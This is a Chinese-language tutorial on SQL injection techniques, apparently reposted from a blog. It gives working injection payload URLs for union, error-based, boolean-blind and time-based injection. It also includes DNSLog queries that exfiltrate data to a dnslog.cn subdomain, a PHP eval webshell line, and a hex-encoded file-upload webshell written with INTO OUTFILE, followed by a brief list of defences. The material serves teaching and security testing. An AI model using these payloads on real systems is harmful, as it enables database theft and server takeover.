SQL注入详解
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法。 SQL可分为平台层注入和代码层注入。 平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致。 代码层注入:程序员对输入没有细致的过滤,从而执行了非法的数据查询。 原因:在前后端数据的交互中,前端的数据传到后台处理时,没有做严格的判断,导致其传入的数据拼接到SQL语句中,被当成SQL语句的一部分执行,从而导致数据库受损,信息丢失。 总结:后台服务器接收相关参数未经过过滤直接带入数据库查询。 例子:
其后台sql语句:
这条语句是采用拼接方式去对数据库内容进行查询的,攻击者通过单引号 ' 闭合数据库查询语句,并且可以构造这样的恶意url:https://blog.csdn.net/aboutus.php?id=-1'select password from admin# 去查询admin表用户的密码,而非查询预先程序员所设计好的数据内容。 其中:url中?代表传值的意思,id代表变量,等号代表变量的值。 浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。 常见的注入类型 1. 参数类型分类: 数字型、字符型 当输入的参数为整形时,若存在注入漏洞,则是数字型注入。 如:
此时后台语句:
检测方法:URL输入 and 1=1 / and 1=2 报错则说明有注入 字符型 当输入参数为字符串时,称为字符型注入。 它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。 例:
此时后台语句:
此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。 此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。 所以我们可以这样: ?id = 1’ 攻击语句 --+ 传入页面就变成了 select user from database where id = ‘1’ 攻击语句 -- ’ --+:起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开。 联合查询注入 联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。
输入id=1和id=2,若页面中值有变化,说明输入与数据库有交互
直接输入?id=1’若有报错则存在注入,开始判断可以从哪里注入,?id=2’1=2–+页面显示不正常,说明此处存在SQL注入,注入点在引号。 接下来开始使用SQL语句进行攻击。
例:
若n=5 ,如果表少于5列就会报错,说明表中只有n-1列
判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:
观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。
在之前回显2的地方会回显database数据库的名字。
数据库语句懒得解释了。
报错注入 含义:就是在mysql中使用指定函数来制造报错,查询的时候加一些格式错误的信息,它会提示你格式错误,可以在中间加入一些其他信息,比如select database(),报错信息后面也会出现数据库信息. 报错注入:利用数据库的报错信息得到数据库的内容。因此需要构造语句让数据库报错。 三种报错注入的方法:
extractvalue(xml_frag,xpath_expr); 函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。 如果没有匹配的内容,不管出于何种原因,只要路径有效并且查询的内容由正确嵌套和关闭的元素组成,返回空字符串。 但如果路径写入错误格式,就会报错并且返回我们写入的非法内容。
updatexml(xml_target,xpath_expr,new_xml); 此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。 xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。 所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
floor(x),返回小于或等于x的最大整数。 回显注入 回显注入:利用注入漏洞可以改变页面返回数据。 基于布尔的盲注 布尔盲注:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。 因此需要构造判断语句,根据页面是否回显证实猜想。 一般用到的函数: ascii()、 substr()、length()、exists()、concat()等。 步骤:
MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects
//猜测当前数据库中是否存在admin表 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+ 1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+ //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+ 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+ ----------由此可判断出存在表emails、referers、uagents、users,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在users表中判断
爆字段中的数据(字段中的数据长度、数据的ASCII) 1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+ // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+ 2:判断数据的ascii值 // 判断id字段的第一行数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+ // 判断id字段的第二行数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+ ........... 基于时间的盲注 时间注入:通过返回时间的长短判断。 如:获取第一个字符的ascii码,判断是否大于115,不成立延时五秒返回。 补充: sleep(5)的意思是延迟五秒。 if(expr1,expr2,expr3) 若expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。 例:
此处就是判断数据库名字的第二个字母。 HTTP头注入 常见的SQL注入一般是通过请求参数或是表单进行注入,而HTTP头注入是通过HTTP协议头部字段值进行注入。 条件: 1. 能够对请求头信息进行修改 2. 修改的请求头信息能带入数据库进行查询 3. 数据库没有对输入的请求信息做过滤
DNSLog注入
dns服务主要是域名解析服务器将域名转换成ip时,会生成一个日志,主要记录:什么时候请求解析,什么域名,映射出什么ip; 但一般来说是看不到解析日志的,但有开放的平台:dnslog.cn 2. UNC: UNC全名:universal naming convention,通用命名规则。其实是网络上的资源的格式,在Windows里使用。 3. mysql读写函数: (mysql可以读写文件的。) 4. 配置: secure_file_priv的配置值分三种—— 指定文件夹:读写导入导出只能发生在指定文件夹 不设置:不允许执行 null:无限制 5. 读取文件过程: 读文件:LOAD_FILE() 限制:只能本机的文件且文件有读取权限,且字节数小于max_allowed_packet 判断文件有无读取权限: and (select count(*) from mysql.user)>0 /* 如果结果返回正常,说明具有读写权限。 如果返回错误,应该是管理员给数据库账户降权。 如果文件不存在或者不能被读出,函数返回空。在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想 load_file 出来。 */ 用法:select LOAD_FILE(‘E:\in.txt’); 两个难点:
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务器的安全将受到严重的威胁。 常用路径:http://www.cnblogs.com/lcamry/p/5729087.html 读取示例: 6. 将文件导入进数据库: LOAD DATA INFILE语句用于高速从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。 示例:
含义:将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。 注:当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。 7. 导入到文件 格式:select … INTO OUTFILE ‘file_name’ 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。 两种利用形式:
select ... into outfile "c:\\phpnow\\htdocs\\test.php" /*此处的...可以是一个函数如version()也可以是一句话如:<?php @eval($_post["111"]) ?>,或者其他内容*/
select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16 解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php’的意思是将内容输入到outfile中。 LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。16 进制可以为一句话或者其他任何的代码,可自行构造。 例如: http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- - 在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html DNSlog注入流程: 1. 把select LOAD_FILE()注入到数据库访问日志文件 2. UNC构建DNS服务器地址(其实就是服务器子域名),假装访问文件,产生DNSLog select load_file('aaa.yourid.dnslog.cn/byh'); 四个斜杠其实本来只有两个,还有两个是防止转义,/byh不能缺少,不然不是一个标准的路径 把子域名替换成函数或者查询SQL select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0); #其实就是把aaa换成了database() 最后我们使用的平台就会显示解析日志,在日志里就能看到查询的内容。
SQL漏洞修复和防范方法: 1、普通用户与系统管理员用户的权限要有严格的区分。 2、预编译,如使用参数化语句和绑定变量。 3、加强对用户输入的验证,识别恶意内容,过滤掉某些危险语句。 4、多使用SQL Server数据库自带的安全参数。 5、转义,把用户的输入当成文本以及用斜杠来转义。 6、数据库异常信息隐藏。 6、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。 7、设置陷阱账号: 设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很像管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。 8、防火墙,限制同IP时间、禁IP访问、黑名单。
该文章在 2023/5/15 21:48:07 编辑过 |
关键字查询
相关文章
正在查询... |